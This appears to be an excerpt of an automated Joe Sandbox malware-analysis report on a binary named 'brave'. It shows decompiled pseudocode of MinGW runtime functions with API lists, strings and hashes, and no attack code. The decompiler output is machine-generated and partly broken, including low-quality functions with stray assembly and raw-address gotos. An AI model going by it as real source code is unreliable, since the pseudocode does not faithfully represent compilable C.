Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_construct null not valid$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-4165567116
Opcode ID: 57c91d0e2d534c20ff1c2b42a6d8babaaafc64c8f69f6f4f5bb2339d47d93c0b
Instruction ID: ab98824c50ac25fe360f9b9d0d2a4ce68087ed09bd6dbe03eabc8dea3135a8b5
Opcode Fuzzy Hash: 57c91d0e2d534c20ff1c2b42a6d8babaaafc64c8f69f6f4f5bb2339d47d93c0b
Instruction Fuzzy Hash: B851A072E09B4685EB14EF26F4405A86364FB18F98B954632CA7D873C1FF2CD696C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4ED020 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4ED020(void* __eflags, long long* __rcx, intOrPtr* __rdx) {
				signed int _t6;
				long long _t15;
				long long _t17;
				signed char* _t18;

				_t17 =  *((intOrPtr*)(__rdx + 8));
				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				_t18 =  *((intOrPtr*)(__rdx));
				if (__eflags == 0) goto 0xfc4ed046;
				if (_t18 == 0) goto 0xfc4ed0b2;
				if (_t17 - 0xf > 0) goto 0xfc4ed080;
				if (_t17 != 1) goto 0xfc4ed070;
				_t6 =  *_t18 & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = _t17;
				 *((char*)(_t15 + _t17)) = 0;
				return _t6;
			}

0x7ff6fc4ed028
0x7ff6fc4ed02f
0x7ff6fc4ed033
0x7ff6fc4ed036
0x7ff6fc4ed03f
0x7ff6fc4ed044
0x7ff6fc4ed04a
0x7ff6fc4ed050
0x7ff6fc4ed052
0x7ff6fc4ed057
0x7ff6fc4ed05a
0x7ff6fc4ed05e
0x7ff6fc4ed06a

Strings

basic_string::basic_string, xrefs: 00007FF6FC4ED18E, 00007FF6FC4ED1E8
basic_string::_M_construct null not valid, xrefs: 00007FF6FC4ED0B2
basic_string::_M_create, xrefs: 00007FF6FC4ED0BE, 00007FF6FC4ED152
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4ED195, 00007FF6FC4ED1EF, 00007FF6FC4ED23F
string::string, xrefs: 00007FF6FC4ED238

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_construct null not valid$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-4165567116
Opcode ID: e3e8cbf4f69290a6b3de281f3e3b3e56b2d6e49d707012ad7580e136db3a3009
Instruction ID: 32a8e7e32f069f3b3b5515569f05b1a4cf8ae82c51f377dfb4a0bf82c52ae702
Opcode Fuzzy Hash: e3e8cbf4f69290a6b3de281f3e3b3e56b2d6e49d707012ad7580e136db3a3009
Instruction Fuzzy Hash: 2751AF72E09B4685EB54EB65E4401A863A4FB18F98B954632CA7D873C1FF2CE796C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D5560 Relevance: 10.6, APIs: 7, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FF67FF6FC4D5560(void* __ecx, void* __rax, long long __rcx, void* __rdx, void* __r12, void* __r13) {
				int _t39;
				int _t42;
				void* _t81;
				intOrPtr _t82;
				intOrPtr _t84;
				intOrPtr _t86;
				intOrPtr _t88;
				intOrPtr _t91;
				intOrPtr _t93;
				long _t95;
				intOrPtr* _t97;
				intOrPtr* _t98;
				long long _t120;

				_t81 = __rax;
				_t120 = __rcx;
				E00007FF67FF6FC4D2D40(__ecx, __rdx);
				 *((long long*)(_t81 + 8)) = _t120;
				if ( *((intOrPtr*)(_t81 + 0x1d8)) == 0) goto 0xfc4d5589;
				E00007FF67FF6FC4D3280(_t81,  *((intOrPtr*)(_t81 + 0x1d8)));
				if (( *(_t81 + 0x40) & 0x00000030) == 0) goto 0xfc4d5628;
				_t97 =  *0xfc776920; // 0x7ff6fc781400
				_t82 =  *_t97;
				if (_t82 == 0) goto 0xfc4d5609;
				if ( *((long long*)(_t82 + 0x30)) != 0) goto 0xfc4d5622;
				 *((long long*)( *_t97 + 0x30)) = 0xfc772bd8;
				TlsGetValue(_t95);
				if (0xfc772bd8 == 0) goto 0xfc4d5600;
				if ( *0x7FF6FC772C00 == 0) goto 0xfc4d563a;
				 *0x7FF6FC772C94 = 1;
				r13d =  *0x7FF6FC772BE0;
				if ( *((intOrPtr*)(0x7ff6fc772c08)) == 0) goto 0xfc4d55eb;
				CloseHandle(__r12);
				 *((long long*)(0x7ff6fc772c08)) = 0;
				if (( *0x7FF6FC772C1C & 0x00000004) != 0) goto 0xfc4d568d;
				__imp___endthreadex();
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(0x7ff6fc772c08)) == 0) goto 0xfc4d55a9;
				_t84 =  *_t97;
				if (_t84 != 0) goto 0xfc4d5622;
				E00007FF67FF6FC4D7060();
				goto 0xfc4d55b7;
				_t18 = _t97 + 0xd0; // 0xd0
				__imp__longjmp();
				 *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x30)))) = 0xdeadbeef;
				if (_t18 == 0) goto 0xfc4d564b;
				_t39 = CloseHandle(__r13);
				 *((long long*)(0x7ff6fc772c08)) = 0;
				r13d =  *((intOrPtr*)(0x7ff6fc772be0));
				E00007FF67FF6FC4D2D20(_t39, 0xfc772bd8);
				_t86 =  *_t97;
				if (_t86 == 0) goto 0xfc4d56d6;
				if ( *((long long*)(_t86 + 0x30)) != 0) goto 0xfc4d56c0;
				 *((long long*)(_t86 + 0x30)) = 0xfc772bd8;
				TlsSetValue(??, ??);
				goto 0xfc4d5600;
				 *0xfc772bd8 = 0xdeadbeef;
				_t42 = CloseHandle(??);
				 *((long long*)(0x7ff6fc772c00)) = 0;
				E00007FF67FF6FC4D2D20(_t42, 0xfc772bd8);
				_t88 =  *_t97;
				if (_t88 == 0) goto 0xfc4d56f4;
				if ( *((long long*)(_t88 + 0x30)) == 0) goto 0xfc4d56c6;
				goto 0xfc4d567e;
				 *((long long*)( *_t97 + 0x30)) = 0xfc772bd8;
				goto 0xfc4d567e;
				E00007FF67FF6FC4D7060();
				_t91 =  *_t97;
				if ( *((long long*)(0x7ff6fc772c08)) == 0) goto 0xfc4d5670;
				if (_t91 != 0) goto 0xfc4d56c0;
				E00007FF67FF6FC4D7060();
				goto 0xfc4d56c0;
				E00007FF67FF6FC4D7060();
				if ( *((long long*)(_t91 + 0x30)) == 0) goto 0xfc4d56c6;
				goto 0xfc4d56e8;
				asm("o16 nop [cs:eax+eax]");
				_push(_t97);
				_t98 =  *0xfc776920; // 0x7ff6fc781400
				_t93 =  *_t98;
				if (_t93 == 0) goto 0xfc4d5760;
				if ( *((long long*)(_t93 + 0x18)) != 0) goto 0xfc4d5780;
				 *((long long*)(_t93 + 0x18)) = 0xfc7813d0;
				if ( *0xfc7813d0 == 0) goto 0xfc4d5750;
				E00007FF67FF6FC4D2D40( *0xfc7813d0, 0xfc7813d0);
				if (0xfc7813d0 == 0) goto 0xfc4d5750;
				if ( *0x7FF6FC7813F0 <= 0) goto 0xfc4d5790;
				return 0;
			}

0x7ff6fc4d5560
0x7ff6fc4d5569
0x7ff6fc4d556c
0x7ff6fc4d5578
0x7ff6fc4d5582
0x7ff6fc4d5584
0x7ff6fc4d558d
0x7ff6fc4d5593
0x7ff6fc4d559a
0x7ff6fc4d55a0
0x7ff6fc4d55a7
0x7ff6fc4d55b3
0x7ff6fc4d55b9
0x7ff6fc4d55c5
0x7ff6fc4d55d0
0x7ff6fc4d55d2
0x7ff6fc4d55dc
0x7ff6fc4d55e3
0x7ff6fc4d55e5
0x7ff6fc4d55eb
0x7ff6fc4d55fa
0x7ff6fc4d5603
0x7ff6fc4d5609
0x7ff6fc4d5613
0x7ff6fc4d5615
0x7ff6fc4d561b
0x7ff6fc4d561d
0x7ff6fc4d5626
0x7ff6fc4d5628
0x7ff6fc4d5634
0x7ff6fc4d563a
0x7ff6fc4d5643
0x7ff6fc4d5645
0x7ff6fc4d564b
0x7ff6fc4d5657
0x7ff6fc4d565c
0x7ff6fc4d5661
0x7ff6fc4d5667
0x7ff6fc4d566e
0x7ff6fc4d5677
0x7ff6fc4d5682
0x7ff6fc4d5688
0x7ff6fc4d5692
0x7ff6fc4d569a
0x7ff6fc4d56a3
0x7ff6fc4d56ac
0x7ff6fc4d56b1
0x7ff6fc4d56b7
0x7ff6fc4d56be
0x7ff6fc4d56c4
0x7ff6fc4d56d0
0x7ff6fc4d56d4
0x7ff6fc4d56d6
0x7ff6fc4d56de
0x7ff6fc4d56e6
0x7ff6fc4d56eb
0x7ff6fc4d56ed
0x7ff6fc4d56f2
0x7ff6fc4d56f4
0x7ff6fc4d56fe
0x7ff6fc4d5703
0x7ff6fc4d5705
0x7ff6fc4d5710
0x7ff6fc4d5715
0x7ff6fc4d571c
0x7ff6fc4d5722
0x7ff6fc4d5729
0x7ff6fc4d5732
0x7ff6fc4d573d
0x7ff6fc4d573f
0x7ff6fc4d5747
0x7ff6fc4d574e
0x7ff6fc4d5757

APIs

Part of subcall function 00007FF6FC4D2D40: TlsGetValue.KERNEL32 ref: 00007FF6FC4D2DA0

TlsGetValue.KERNEL32 ref: 00007FF6FC4D55B9
CloseHandle.KERNEL32 ref: 00007FF6FC4D55E5
_endthreadex.MSVCRT ref: 00007FF6FC4D5603
longjmp.MSVCRT ref: 00007FF6FC4D5634
CloseHandle.KERNEL32 ref: 00007FF6FC4D5645
TlsSetValue.KERNEL32 ref: 00007FF6FC4D5682
CloseHandle.KERNEL32 ref: 00007FF6FC4D569A

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CloseHandleValue$_endthreadexlongjmp
String ID:
API String ID: 3990644698-0
Opcode ID: 0214bab7663271ea6fee6ac32ca2fa0cc39244fbefd9c866a5c200fdd5429a6d
Instruction ID: b377950023605ec4bf62ffc8d56e62b7109ccdbf1c8de48cbe593309576053bb
Opcode Fuzzy Hash: 0214bab7663271ea6fee6ac32ca2fa0cc39244fbefd9c866a5c200fdd5429a6d
Instruction Fuzzy Hash: 80511561A09B0682FBA5AF12E05477826A2FF44B49F455035DE3D833E5FF3CAA44C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D78B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4D78B0(void* __edx, intOrPtr* __rcx) {
				intOrPtr _t19;
				intOrPtr _t23;
				void* _t28;
				intOrPtr* _t29;

				_t29 =  *0xfc776920; // 0x7ff6fc781400
				_t19 =  *_t29;
				r12d = __edx;
				if (_t19 == 0) goto 0xfc4d7948;
				if ( *((long long*)(_t19 + 0xa0)) != 0) goto 0xfc4d7968;
				 *((long long*)(_t19 + 0xa0)) = 0xfc772be8;
				E00007FF67FF6FC4D8830(0xfc772be8, _t28);
				if ( *((intOrPtr*)( *__rcx)) != 0xbab1f0ed) goto 0xfc4d79a9;
				if ( *((intOrPtr*)( *__rcx + 4)) <= 0) goto 0xfc4d79a9;
				 *((intOrPtr*)( *__rcx + 4)) =  *((intOrPtr*)( *__rcx + 4)) - 1;
				_t23 =  *_t29;
				if (_t23 == 0) goto 0xfc4d7978;
				if ( *((long long*)(_t23 + 0xa0)) != 0) goto 0xfc4d79a0;
				 *((long long*)(_t23 + 0xa0)) = 0xfc772be8;
				E00007FF67FF6FC4D8870(0xfc772be8);
				return r12d;
			}

0x7ff6fc4d78b8
0x7ff6fc4d78bf
0x7ff6fc4d78c5
0x7ff6fc4d78cb
0x7ff6fc4d78d5
0x7ff6fc4d78e2
0x7ff6fc4d78e9
0x7ff6fc4d78f7
0x7ff6fc4d7905
0x7ff6fc4d790e
0x7ff6fc4d7912
0x7ff6fc4d7918
0x7ff6fc4d7922
0x7ff6fc4d792b
0x7ff6fc4d7932
0x7ff6fc4d7942

Strings

(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0), xrefs: 00007FF6FC4D79C3
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-libraries/winpthreads/src/rwlock.c, xrefs: 00007FF6FC4D79BC
Assertion failed: (%s), file %s, line %d, xrefs: 00007FF6FC4D79CD
., xrefs: 00007FF6FC4D79B4

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: (((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)$.$Assertion failed: (%s), file %s, line %d$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-libraries/winpthreads/src/rwlock.c
API String ID: 0-3957588491
Opcode ID: 84b45b647fba6786e436b223dfef3815ddb9f00301ce0779b142d07c5678c86d
Instruction ID: 9ba249fa64a653d0ddde748813d89333f45ead2ac65d0c8725c459dc6990ff29
Opcode Fuzzy Hash: 84b45b647fba6786e436b223dfef3815ddb9f00301ce0779b142d07c5678c86d
Instruction Fuzzy Hash: 4B313932A0974A85FB60AB19F4503B827A1FF45B48F888176DA6C873D5EF3CE645C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CF130 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E00007FF67FF6FC4CF130(void* __ecx, void* __eflags, char* __rax, long long __rdx, void* __r8) {
				intOrPtr _t7;
				void* _t12;
				long long _t23;
				int _t24;
				struct _CRITICAL_SECTION* _t33;
				struct _CRITICAL_SECTION* _t36;

				asm("lodsb");
				if (__eflags > 0) goto 0xfc4cf15d;
				 *((intOrPtr*)(__rax - 0x77)) =  *((intOrPtr*)(__rax - 0x77)) + __ecx;
				asm("sbb eax, 0x2b2065");
				if ( *__rax != 0) goto 0xfc4cf016;
				E00007FF67FF6FC4E1B50(_t12, 0x7ff6fc4cef50);
				goto 0xfc4cf016;
				asm("o16 nop [cs:eax+eax]");
				_t7 =  *0xfc7811b0; // 0x0
				if (_t7 == 0) goto 0xfc4cf200;
				if (__r8 == 0) goto 0xfc4cf1a5;
				if (__r8 == 0xfc7811a0) goto 0xfc4cf1a5;
				r8d = 0x2b;
				0xfc4e1790();
				calloc(_t24);
				if (0xfc7811a0 == 0) goto 0xfc4cf200;
				 *0xfc7811a0 = 0x7ff6fc4cef50;
				 *0x7FF6FC7811A8 = __rdx;
				EnterCriticalSection(_t36);
				_t23 =  *0xfc7811a8; // 0x0
				 *0xfc7811a8 = 0xfc7811a0;
				 *0x7FF6FC7811B0 = _t23;
				LeaveCriticalSection(_t33);
				return 0;
			}

0x7ff6fc4cf130
0x7ff6fc4cf131
0x7ff6fc4cf133
0x7ff6fc4cf136
0x7ff6fc4cf13e
0x7ff6fc4cf14b
0x7ff6fc4cf150
0x7ff6fc4cf155
0x7ff6fc4cf167
0x7ff6fc4cf175
0x7ff6fc4cf17e
0x7ff6fc4cf18a
0x7ff6fc4cf18c
0x7ff6fc4cf1a0
0x7ff6fc4cf1af
0x7ff6fc4cf1ba
0x7ff6fc4cf1bc
0x7ff6fc4cf1c6
0x7ff6fc4cf1ca
0x7ff6fc4cf1d0
0x7ff6fc4cf1de
0x7ff6fc4cf1e5
0x7ff6fc4cf1e9
0x7ff6fc4cf1f8

APIs

_assert.MSVCRT ref: 00007FF6FC4CF1A0
calloc.MSVCRT ref: 00007FF6FC4CF1AF
EnterCriticalSection.KERNEL32 ref: 00007FF6FC4CF1CA
LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4CF1E9

Strings

!dso || dso == &__dso_handle, xrefs: 00007FF6FC4CF199
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF6FC4CF192

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave_assertcalloc
String ID: !dso || dso == &__dso_handle$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c
API String ID: 4191840866-4180103562
Opcode ID: 89d225980ee264ff5e357f890741bd0a0885e460cb129bedeac4b07323f812ca
Instruction ID: d791aea7280e77ab8e2dbee1785875f849616f84dbae8cb24d7298582211cf8c
Opcode Fuzzy Hash: 89d225980ee264ff5e357f890741bd0a0885e460cb129bedeac4b07323f812ca
Instruction Fuzzy Hash: A4215C66E1D64656FB52DB51F8406B827A0AF54B94F994130CA2CC32E1FE2CAB99C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D9F30 Relevance: 10.5, APIs: 7, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4D9F30(void* __edx, void* __rcx, void* __r8) {

				r12d = __edx;
				if (__r8 == 0) goto 0xfc4d9fa1;
				if (__rcx != 0) goto 0xfc4d9f60;
				if (r12d != 0) goto 0xfc4d9f8d;
				return r12d;
			}

0x7ff6fc4d9f3a
0x7ff6fc4d9f40
0x7ff6fc4d9f45
0x7ff6fc4d9f4a
0x7ff6fc4d9f56

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6FC4D9F60
OpenProcess.KERNEL32 ref: 00007FF6FC4D9F77
CloseHandle.KERNEL32 ref: 00007FF6FC4D9F85
_errno.MSVCRT ref: 00007FF6FC4D9FA1

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen_errno
String ID:
API String ID: 2250453136-0
Opcode ID: 99bff5ea223eaa426eec811e31877ad3ae2d66184df2aefccc3710fd92dcba7e
Instruction ID: fb31fcac8cf74e113e3f6432902401b0f6563728817eae9a8a70d0c5fe4bdb03
Opcode Fuzzy Hash: 99bff5ea223eaa426eec811e31877ad3ae2d66184df2aefccc3710fd92dcba7e
Instruction Fuzzy Hash: A501842190C60786FB556F61784473C2192AF54769F641638CB3EC62E0FF3C2644C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D8980 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 45threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF6FC4D89A0
fprintf.MSVCRT ref: 00007FF6FC4D89BF
GetCurrentThreadId.KERNEL32 ref: 00007FF6FC4D89D5
fprintf.MSVCRT ref: 00007FF6FC4D89FC

Strings

C%p %d V=%0X w=%ld %s, xrefs: 00007FF6FC4D89E3
C%p %d %s, xrefs: 00007FF6FC4D89AE

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CurrentThreadfprintf
String ID: C%p %d %s$C%p %d V=%0X w=%ld %s
API String ID: 1384477639-884133013
Opcode ID: f8158c71ef050e1e9cbf393265222da93de2fa9e8f3a0d98d13ba6446c91282d
Instruction ID: 40c9bd00de43d2c86ee248ea855bc6263867f71edbdb81bbe7e19798e2a3f156
Opcode Fuzzy Hash: f8158c71ef050e1e9cbf393265222da93de2fa9e8f3a0d98d13ba6446c91282d
Instruction Fuzzy Hash: 47016972A0870686EB119B25F8408A937A4BB88BD8F588131DE5C837D4FE3CE685CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CF160 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00007FF6FC4CF1A0
calloc.MSVCRT ref: 00007FF6FC4CF1AF
EnterCriticalSection.KERNEL32 ref: 00007FF6FC4CF1CA
LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4CF1E9

Strings

!dso || dso == &__dso_handle, xrefs: 00007FF6FC4CF199
C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c, xrefs: 00007FF6FC4CF192

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave_assertcalloc
String ID: !dso || dso == &__dso_handle$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-crt/crt/tls_atexit.c
API String ID: 4191840866-4180103562
Opcode ID: f75f473cc27cf5f1c1fc51378073b3bce385c5a3abcb57c2d3be634da1e2c61d
